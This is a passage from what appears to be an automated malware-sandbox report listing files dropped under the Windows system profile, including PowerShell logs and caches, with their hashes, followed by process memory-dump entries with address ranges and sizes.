5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
00e7da020005370a518c26d5deb40691

SHA1
389b34fdb01997f1de74a5a2be0ff656280c0432

SHA256
a529468d442b807290b41565130e4c52760af9abec37613114db3857f11ad4fe

SHA512
9a02bacc6fb922d6202548e80e345c6cdec346b79ef7ac7a56f89fd342ff128de004065b9d010d015b54d4ca72f665ca658c7ffcd8eb906e14bfa5b48b43f2cf

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
23KB

MD5
293d759573c5f8e69408372040d6c94c

SHA1
07106ccb998b4a31b641f63a8bbc562a63b6725d

SHA256
f807ea59ba55d0b621357c5834f93a12fe424c3fb63021f9d381540c321808f4

SHA512
a7b02aa83388be265021fc2de11dbce838bd65d63c63d2ea1209eba1d6fde0a74d470324d096d3f2b37179db4491e520a10bfdadc75f0ab1fa97801d2686710f

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/628-20-0x00007FF9C3B40000-0x00007FF9C4601000-memory.dmp

Filesize
10.8MB

Download
memory/628-11-0x00007FF9C3B40000-0x00007FF9C4601000-memory.dmp

Filesize
10.8MB

Download
memory/628-10-0x000001E278540000-0x000001E278562000-memory.dmp

Filesize
136KB

Download
memory/628-19-0x000001E2783E0000-0x000001E2783F0000-memory.dmp

Filesize
64KB

Download
memory/628-15-0x000001E2783E0000-0x000001E2783F0000-memory.dmp

Filesize
64KB

Download
memory/628-13-0x000001E2783E0000-0x000001E2783F0000-memory.dmp

Filesize
64KB

Download
memory/1988-31-0x00007FF9C3B40000-0x00007FF9C4601000-memory.dmp

Filesize
10.8MB

Download
memory/1988-32-0x0000024F42860000-0x0000024F42870000-memory.dmp

Filesize
64KB

Download
memory/1988-35-0x0000024F42860000-0x0000024F42870000-memory.dmp

Filesize
64KB

Download
memory/1988-36-0x0000024F42860000-0x0000024F42870000-memory.dmp

Filesize
64KB

Download
memory/1988-38-0x00007FF9C3B40000-0x00007FF9C4601000-memory.dmp

Filesize
10.8MB

Download
memory/1988-33-0x0000024F42860000-0x0000024F42870000-memory.dmp

Filesize
64KB

Download
memory/2028-110-0x0000024FDF410000-0x0000024FDF420000-memory.dmp

Filesize
64KB

Download
memory/2028-113-0x00007FF9C3B40000-0x00007FF9C4601000-memory.dmp

Filesize
10.8MB

Download
memory/2028-95-0x00007FF9C3B40000-0x00007FF9C4601000-memory.dmp

Filesize
10.8MB

Download
memory/2028-108-0x0000024FDF410000-0x0000024FDF420000-memory.dmp

Filesize
64KB

Download
memory/2028-96-0x0000024FDF410000-0x0000024FDF420000-memory.dmp

Filesize
64KB

Download
memory/2028-97-0x0000024FDF410000-0x0000024FDF420000-memory.dmp

Filesize
64KB

Download
memory/2588-115-0x00007FF791400000-0x00007FF791611000-memory.dmp

Filesize
2.1MB

Download
memory/2588-58-0x00007FF791400000-0x00007FF791611000-memory.dmp

Filesize
2.1MB

Download
memory/2588-134-0x00007FF791400000-0x00007FF791611000-memory.dmp

Filesize
2.1MB

Download
memory/2588-107-0x00007FF791400000-0x00007FF791611000-memory.dmp

Filesize
2.1MB

Download
memory/2588-72-0x00007FF791400000-0x00007FF791611000-memory.dmp

Filesize
2.1MB

Download
memory/2956-54-0x0000015B82AE0000-0x0000015B82AF0000-memory.dmp

Filesize
64KB

Download
memory/2956-56-0x00007FF9C3B40000-0x00007FF9C4601000-memory.dmp

Filesize
10.8MB

Download
memory/2956-52-0x0000015B82AE0000-0x0000015B82AF0000-memory.dmp

Filesize
64KB

Download
memory/2956-51-0x0000015B82AE0000-0x0000015B82AF0000-memory.dmp

Filesize
64KB

Download
memory/2956-46-0x00007FF9C3B40000-0x00007FF9C4601000-memory.dmp

Filesize
10.8MB

Download
memory/3708-178-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-160-0x000002F6E6000000-0x000002F6E6020000-memory.dmp

Filesize
128KB

Download
memory/3708-180-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-143-0x000002F6E59A0000-0x000002F6E59E0000-memory.dmp

Filesize
256KB

Download
memory/3708-176-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-174-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-172-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-170-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-168-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-166-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-184-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-164-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-162-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-182-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-159-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-158-0x000002F6E59E0000-0x000002F6E5A00000-memory.dmp

Filesize
128KB

Download
memory/3708-156-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-154-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-186-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-188-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-153-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-190-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-151-0x000002F6E6000000-0x000002F6E6020000-memory.dmp

Filesize
128KB

Download
memory/3708-150-0x000002F6E59E0000-0x000002F6E5A00000-memory.dmp

Filesize
128KB

Download
memory/3708-149-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-136-0x00007FF670040000-0x00007FF670834000-memory.dmp

Filesize
8.0MB

Download
memory/3708-137-0x000002F6D5830000-0x000002F6D5850000-memory.dmp

Filesize
128KB

Download
memory/3852-123-0x00007FF768AC0000-0x00007FF768AD6000-memory.dmp

Filesize
88KB

Download
memory/3852-135-0x00007FF768AC0000-0x00007FF768AD6000-memory.dmp

Filesize
88KB

Download
memory/3852-157-0x00007FF768AC0000-0x00007FF768AD6000-memory.dmp

Filesize
88KB

Download
memory/4572-12-0x00007FF68E160000-0x00007FF68E371000-memory.dmp

Filesize
2.1MB

Download
memory/4572-0-0x00007FF68E160000-0x00007FF68E371000-memory.dmp

Filesize
2.1MB

Download
memory/4572-40-0x00007FF68E160000-0x00007FF68E371000-memory.dmp

Filesize
2.1MB

Download
memory/5008-122-0x0000013F7D4A0000-0x0000013F7D4AA000-memory.dmp

Filesize
40KB

Download
memory/5008-71-0x0000013F7AE80000-0x0000013F7AE90000-memory.dmp

Filesize
64KB

Download
memory/5008-129-0x00007FF9C3B40000-0x00007FF9C4601000-memory.dmp

Filesize
10.8MB

Download
memory/5008-121-0x0000013F7D490000-0x0000013F7D496000-memory.dmp

Filesize
24KB

Download
memory/5008-118-0x0000013F7D460000-0x0000013F7D468000-memory.dmp

Filesize
32KB

Download
memory/5008-117-0x0000013F7D4B0000-0x0000013F7D4CA000-memory.dmp

Filesize
104KB

Download
memory/5008-116-0x0000013F7D450000-0x0000013F7D45A000-memory.dmp

Filesize
40KB

Download
memory/5008-85-0x0000013F7D300000-0x0000013F7D30A000-memory.dmp

Filesize
40KB

Download
memory/5008-59-0x00007FF9C3B40000-0x00007FF9C4601000-memory.dmp

Filesize
10.8MB

Download
memory/5008-60-0x0000013F7AE80000-0x0000013F7AE90000-memory.dmp

Filesize
64KB

Download
memory/5008-61-0x0000013F7AE80000-0x0000013F7AE90000-memory.dmp

Filesize
64KB

Download
memory/5008-124-0x0000013F7AE80000-0x0000013F7AE90000-memory.dmp

Filesize
64KB

Download
memory/5008-83-0x0000013F7D220000-0x0000013F7D23C000-memory.dmp

Filesize
112KB

Download
memory/5008-82-0x00007FF4D10A0000-0x00007FF4D10B0000-memory.dmp

Filesize
64KB

Download
memory/5008-84-0x0000013F7D240000-0x0000013F7D2F5000-memory.dmp

Filesize
724KB

Download
memory/5008-94-0x00007FF4D10A0000-0x00007FF4D10B0000-memory.dmp

Filesize
64KB

Download
memory/5008-92-0x0000013F7AE80000-0x0000013F7AE90000-memory.dmp

Filesize
64KB

Download
memory/5008-90-0x0000013F7AE80000-0x0000013F7AE90000-memory.dmp

Filesize
64KB

Download
memory/5008-89-0x0000013F7AE80000-0x0000013F7AE90000-memory.dmp

Filesize
64KB

Download
memory/5008-88-0x00007FF9C3B40000-0x00007FF9C4601000-memory.dmp

Filesize
10.8MB

Download
memory/5008-86-0x0000013F7D470000-0x0000013F7D48C000-memory.dmp

Filesize
112KB

Download